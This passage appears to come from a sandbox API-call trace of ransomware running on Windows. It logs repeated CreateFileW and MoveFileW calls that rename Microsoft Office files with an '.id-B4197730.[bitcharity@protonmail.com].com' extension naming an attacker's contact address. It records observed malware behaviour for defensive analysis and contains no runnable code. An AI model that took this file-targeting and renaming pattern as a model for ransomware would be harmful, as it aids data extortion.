(lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\osmuxmui.msi.16_osmuxmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.043] CloseHandle (hObject=0x1234) returned 1 [0254.044] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.044] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\outlookmui.msi.16_outlookmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.045] CloseHandle (hObject=0x1234) returned 1 [0254.046] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.046] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\powerpointmui.msi.16_powerpointmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.046] CloseHandle (hObject=0x1234) returned 1 [0254.047] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.047] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\projectmui.msi.16_projectmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.047] CloseHandle (hObject=0x1234) returned 1 [0254.048] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.049] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\Proof.Culture.msi.16_proof.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proof.culture.msi.16_proof.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.049] CloseHandle (hObject=0x1234) returned 1 [0254.050] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.050] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\proofing.msi.16_proofing.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.050] CloseHandle (hObject=0x1234) returned 1 [0254.051] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.051] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\publishermui.msi.16_publishermui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.052] CloseHandle (hObject=0x1234) returned 1 [0254.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\visiomui.msi.16_visiomui.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.057] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.057] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\wordmui.msi.16_wordmui.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.057] CloseHandle (hObject=0x1234) returned 1 [0254.058] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.058] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\Proof.Culture.msi.16_proof.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\proof.culture.msi.16_proof.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.059] CloseHandle (hObject=0x1234) returned 1 [0254.060] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.060] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\Proof.Culture.msi.16_proof.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\proof.culture.msi.16_proof.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.060] CloseHandle (hObject=0x1234) returned 1 [0254.064] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.064] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Access.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\access.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.065] CloseHandle (hObject=0x1234) returned 1 [0254.066] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.066] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\DCF.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\dcf.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.066] CloseHandle (hObject=0x1234) returned 1 [0254.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Excel.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\excel.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.068] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.068] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Groove.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\groove.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.069] CloseHandle (hObject=0x1234) returned 1 [0254.070] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.070] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Lync.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\lync.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.070] CloseHandle (hObject=0x1234) returned 1 [0254.254] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.254] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_authored.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_authored.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.764] CloseHandle (hObject=0x1274) returned 1 [0257.811] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.811] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.811] CloseHandle (hObject=0x11d0) returned 1 [0257.813] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.813] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.813] CloseHandle (hObject=0x11d0) returned 1 [0257.815] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.816] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SAVASWEB.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\savasweb.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.816] CloseHandle (hObject=0x10bc) returned 1 [0257.819] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.819] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.819] CloseHandle (hObject=0x10bc) returned 1 [0257.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.820] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.821] CloseHandle (hObject=0x10bc) returned 1 [0257.821] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.822] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.822] CloseHandle (hObject=0x10bc) returned 1 [0257.823] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.823] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.823] CloseHandle (hObject=0x10bc) returned 1 [0257.824] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.824] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.824] CloseHandle (hObject=0x10bc) returned 1 [0257.826] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.826] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.826] CloseHandle (hObject=0x10bc) returned 1 [0257.828] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.828] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.828] CloseHandle (hObject=0x10bc) returned 1 [0257.829] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.829] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.829] CloseHandle (hObject=0x10bc) returned 1 [0257.830] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.830] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.830] CloseHandle (hObject=0x10bc) returned 1 [0257.831] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.831] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.831] CloseHandle (hObject=0x10bc) returned 1 [0257.832] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.832] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.832] CloseHandle (hObject=0x10bc) returned 1 [0257.833] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.833] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.833] CloseHandle (hObject=0x10bc) returned 1 [0257.834] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.834] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 